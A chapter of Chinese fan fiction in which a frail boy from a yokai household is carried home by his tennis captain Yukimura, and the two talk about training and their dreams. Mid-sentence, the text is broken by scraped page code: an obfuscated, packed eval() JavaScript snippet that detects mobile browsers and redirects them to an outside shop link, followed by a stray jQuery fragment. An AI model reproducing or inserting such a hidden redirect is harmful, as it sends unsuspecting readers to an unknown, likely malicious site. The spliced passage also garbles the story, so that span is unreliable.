朝比奈家大宅中,礼子坐在廊下,不时抬头望向大门处,眼中溢出焦急的神色。

    露露则在院中的石灯和大树上蹦上蹦下,嘴里念念叨叨,尖细的嗓音不绝于耳。

    朝比奈郁斗带着付丧神出门去找那只为害一方的妖怪已经很久了,此时早已过了他预定的回家时间。

    “不行,我还是出去找郁斗少爷吧!”礼子猛地站起来,迈步就要往门外去。

    露露终于不再与她呛着说话,见状也要跟上去:“少爷的身体不能支撑使用太多魔力,这时候没回来,不知道是不是因为消耗过度……万一,万一是被那个妖怪捉走了……”

    说着说着,竟然用大大的耳朵捂住眼睛,哭了起来。

    “小怪物你别哭啊……”礼子用力地闭了闭眼,脑袋一跳一跳地疼。

    正在大宅前院一片鸡飞狗跳时,烟烟罗从后面飘出来,手里握着电话听筒,递向两只妖怪:“电话,你们谁接?”

    两只妖怪相视一眼,露露抢先瞬移过去,跳起来就要抢听筒,却被赶上来的礼子凭借身高优势截胡:“你那个声音,别把人吓到了。”

    这是朝比奈家的电话,号码只留给了朝比奈郁斗的学校,会打到这个电话上的,只可能是与学校那边有关的普通人。

    礼子压下心中的不安,用尽可能平和的声音回应了电话那边的人。

    那边似乎愣了一下,随后礼貌地向她说明了朝比奈郁斗昏睡不醒的情况,并询问是否需要送往医院。

    听到这个消息,礼子先是心头一紧,随即镇定下来。

    不论如何,她家的小少爷没有落在妖怪手里,那么接下来只要回到家里,剩下的就可以交给朝比奈郁斗卧室里的魔法阵。

    这样想着,礼子的声音柔和了些,向对方说明自己会前去接人回家。

    朝比奈郁斗从昏睡中醒来的时候,感觉自己的身体上下一颤一颤的,似乎趴在什么东西上面,那东西还在有规律地晃动。

    “唔……”他的脸埋在了什么温暖的地方,迷迷糊糊抬起头的时候,一把像是柔软的刷子毛的东西从他的侧脸扫过,弄得他痒痒的。

    在柔和的月光和街边的路灯下,他看到那把刷毛似乎是在记忆中见过的,鸢尾花一样的蓝紫色。

    鸢尾花……蓝紫色……?!

    断在失去意识之前的记忆回笼,朝比奈郁斗震惊地看向与自己的脑袋挨的极近的那张侧脸,却说不出话来。

    “醒了吗?”幸村精市察觉到肩上那个脑袋上的浅金色碎发扫过自己的耳畔,微微回过头来,“朝比奈君,现在感觉怎么样?”

    朝比奈郁斗这才彻底清醒过来,原来自己正趴在幸村精市的背上,而先前脸所埋着的,令他感到温暖的地方,是幸村精市的颈窝。

    他环在幸村颈前的双臂下意识收紧。

    或许是理智还未回归,又或是明知该下去,身体却又固执地依恋这份温暖。

    朝比奈郁斗保持着被背在背上的姿势,嘴里不知该说什么好:“幸村君,我……你……这里……”

    “这里离你家不远了。我找柳要了你家的电话和地址,联系了你的家里人,大概快遇到了。”

    幸村精市似乎看出他想问什么,又在迟疑什么,把人又往上背了些:“你身体不好,还是我送你回去吧。”

    “嗯,嗯……”朝比奈郁斗缩了缩身子,灼热的温度从前胸与幸村的后背相贴的位置源源不绝地传遍全身。

    他内心努力挣扎,最终还是决定屈服于自己的本心,继续心安理得地趴在人背上,问道,“幸村君,发生了什么事?”

    他需要确认自己昏迷后,幸村对这件事的了解程度。

    幸村闻言却有些迟疑:“我也不知道,我们似乎是在海边……睡着了。我醒来后,就发现你睡得怎么也叫不醒。真是奇怪,我从来不会在这种情况下睡着的。”

    让对方莫名其妙睡着的始作俑者:“啊哈哈……那可能是训练太累了吧……”

    看起来那只网球付丧神还是很努力的,不枉他在紧急关头让付丧神跟随在幸村君身边,保护得很到位嘛。

    这下他有点相信网球付丧神会给幸村君带来好运这件事了。

    幸村精市奇怪地看他一眼,眼神中的含义十分明确:会因为训练太累而随地睡着的只有你一个人吧。

    “咳咳,幸村君,就算是一向强壮,也要注意身体啊!”朝比奈郁斗严肃地说道,“不过太好了,我们都没有事。”

    幸村精市不知道他说的其实是成功从海底脱身这件事,答道:“嗯,那种情况下,没有遇上坏人是很幸运的事。不过朝比奈君以后也要留意自己的身体,我也会考虑调整你的训练。”

    朝比奈郁斗立即大叫:“不要再加训了!”

    幸村先是一愣,随后笑了:“你怎么会想到加训?我的意思是,现在的训练对你来说可能还是有些繁重,会适当减少一些。”

    “还不是所有人每天都在说着‘加训’……”朝比奈郁斗小声嘀嘀咕咕。

    “朝比奈君想和其他人一样加训的话,我也可以满足你哦。”幸村逗他。

    朝比奈郁斗叹了口气,抱着人脖子的手臂又收了收,声音慵懒:“那种事还是留给丸井君他们吧。他们好像很乐在其中的样子。”

    “为了胜利而努力的人就会这样的。我想,将来朝比奈君也会成为其中的一员。”

    朝比奈郁斗想了想:“是这样吗?现在还没有感觉到呢,不过我会尽力去体会的。”

    幸村沉默了一会儿,问道:“刚刚打电话到朝比奈君的家里,接电话的人,是你的姐姐吗?”

    他明明记得朝比奈郁斗是独自一人来到日本的,但如果说家里住着原本就在日本的姐姐,或是亲戚来借住,倒是也合理。

    朝比奈郁斗想了想,会被认成姐姐的,大概是礼子,便答道:“算是吧……”

    至于这个“姐姐”实际上比他大了几百岁,从他母亲的母亲的母亲那一代就已经在朝比奈家了这件事,就没有必要细说了。

    幸村精市想了想,又问:“那朝比奈君家里是还有一个妹妹吗?”

    朝比奈郁斗:?

    难道不只有礼子一个妖接了电话?他那个突然冒出来的妹妹,不会是烟烟罗吧?说起来,那姑娘的外形和声音,倒是确实像他的妹妹……

    他脑子里还没转过弯来,幸村便解释道:“虽然没太听清楚,但电话里还有一个很尖很细的声音。”

    朝比奈郁斗:“…………”

    破案了,是露露。

    “啊,大概,姑且也算是吧……”他结结巴巴的,一副心里有鬼的样子。

    幸村精市看他这样,觉得很奇怪。是就是,不是就不是,“姑且算是”是什么意思?

    不过他并没有探究他人家庭构成的爱好,因此不再继续追问。

    又向前走了一段路,一个身穿和服的成熟女性出现在路的尽头。

    幸村先看到了那个女人,笑道:“那是朝比奈君的姐姐吗?她来接你了。”

    朝比奈郁斗向前看了一眼,却是兴致缺缺,过度使用魔力后虚弱的身体本能地不想离开身下的暖炉。

    “郁斗……呃,我来接你回家。”礼子小跑几步赶上来,强行把险些脱口而出的“少爷”咽下,伸手就要扶小少爷下来。

    朝比奈郁斗却一动不动,甚至还把自己往幸村身上缩了缩,没有理会礼子,而是向前探了探脑袋,问道:“幸村君,我姐姐力气不够,可以送我到家吗?”

    妖力充沛,力能扛鼎的猫又礼子:“……”

    行,少爷说的都对。

    幸村精市看看礼子身上穿着的一袭华丽和服及外罩的拖地打褂,虽然觉得有点奇怪,但也相信了这个说辞,只好继续背着人向前走去。

    朝比奈郁斗趴在幸村背上,经过礼子身边的时候,侧过脸朝礼子弯眉眯眼笑得十分开心,嘴里却说着:“那真是帮大忙了,幸村君真是好人。”

    “我可不是为了做好人才送你回家的啊。”幸村精市叹道,他也不知朝比奈这个人怎么会这么喜欢粘着他,偏偏责任所在,很多时候他都无从拒绝。

    不会是从一开始接收对方进入网球部就是错的吧……

    不,不会的。他否定了自己一瞬间的想法。私人日常生活不应成为判定一个人是否可以进入网球部的标准。

    而且他有信心,让每一个加入网球部的人,都成为他们一路走向全国的顶端的参与者。立海大的荣誉,应该由网球部的所有人共同缔造。

    想到这里,幸村精市略感安

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709894|207363||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心,随口提起:“县大赛再过一个月就要正式开始了。”

    朝比奈郁斗正沉浸在和幸村君长时间近距离贴贴的快乐中,已读乱回道:“嗯,我知道……可是为什么要这么早就和我说起?不会是要让我上场吧……”

    幸村精市嘴角微微抽搐:“朝比奈君,你想多了。”

    他再怎么不负责任,也不会让刚学网球没多少日子,连发球都要看运气才能碰到球的人上场的!

    朝比奈郁斗继续无所谓地乱回:“哦哦,那就好。”

    还是第一次见到这样不在意上场机会的人……

    将背上像是没骨头一样软绵绵的少年和平时同样懒散的仁王雅治比较一下,顿时显得还是想要出场比赛的仁王更热爱网球一点。

    幸村精市更加怀疑当初轻信了对方那句“觉得自己会很喜欢网球”的自己是不是脑袋出了问题。

    但朝比奈郁斗这几天偶尔展现出的天赋又让他不肯放手,虽然发挥很不稳定,但很明显有巨大的提升空间,只需要多加训练……

    哦不对,他刚刚答应了要给人减少训练量来着,还是他主动提出来的。现在好像来不及反悔了。

    最终,幸村精市只得鼓励对方道:“如果朝比奈君努力练习,我希望能在明年的赛场上看到你。”

    朝比奈郁斗却咧开嘴笑了:“那种事不适合我啦。有幸村君和其他人就足够赢下比赛了。我只要能在网球部看着幸村君就好了。”

    他只想在网球部做一个平平无奇的普通成员,在此基础上,再和幸村君多贴近一点点。

    幸村精市想到的,却是朝比奈郁斗比正常人虚弱许多的身体。

    他为此感到遗憾,叹息道:“可是,和上场比赛的队友们一起,捧起最后的冠军奖杯,是和在台下观赛完全不一样的感觉。

    “从第一次在部活室看到墙上挂着的那些学长们的合影起,我就一直盼望着那一天。”

    他微微侧过头,说道:“我想,如果朝比奈君也能站在那里,会是很好的一件事。”

    朝比奈郁斗把脑袋在幸村的颈窝里蹭了蹭,抬起头答道:“那是幸村君的梦想啊。真是个好梦想。”

    “可是,我也有自己的梦想。”他两眼直视前方,眼中闪烁着意味不明的光点。

    “在追逐这个梦想的途中,恐怕没有那么幸运,可以再有更多的奢望。那个万众瞩目的领奖台,大概不会进入我的领域。”

    幸村精市是第一次听到朝比奈郁斗提及他的梦想和他的领域。

    是怎样的梦想,比和队友们一起赢下比赛更重要呢?他的领域里,又有什么呢?

    突然间,幸村精市突然发现,虽然朝比奈郁斗平日里总是一副对外界毫不设防的样子,像一只翻身露出肚皮的猫,但实际上,他身上的一切都像是包裹着一层雾的谜团。

    不管是他的网球实力,还是背景和过往。

    网球对他来说,究竟是确实不那么重要,还是明明很想和大家一起前进,却因为无能为力而被迫放弃?

    刚刚在海边睡着时,耳边隐约听到的“我的东西”“我的领域”,虽然声线一模一样,但其中的气势却和朝比奈郁斗平时温和懒散的样子全然不同。

    有什么事情,在他不知道的时候发生了吗?

    正要追问时,却听对方轻声说:“到了。”

    朝比奈郁斗利落地从幸村背上跳下,落地时身体微微摇晃,被赶上来的礼子搀扶住。他微笑着,歪一歪脑袋,对幸村说道:“幸村君,谢谢你今天送我回来。”

    幸村精市抬头看了一眼身边古朴的院门,又向前望了望长得见不到头的院墙,视线转回眼前睡得头上的金发乱糟糟的朝比奈郁斗身上,不再继续刚才的话题:“朝比奈君,好好休息。”

    朝比奈郁斗笑着:“我会的。幸村君今天回去也要好好休息啊。”

    幸村点点头,转身离开。

    随着两人之间的距离逐渐拉开,朝比奈郁斗感受着温暖的远去,闭了闭眼,又缓缓睁开,开口扬声说道:

    “幸村君,我想我们双方,都会完成自己的梦想,对吧?”

    幸村精市停下脚步,转身看着身后那个顶着乱蓬蓬金发的少年,过了很久,他开口,轻声答道:

    “嗯,一定会的。”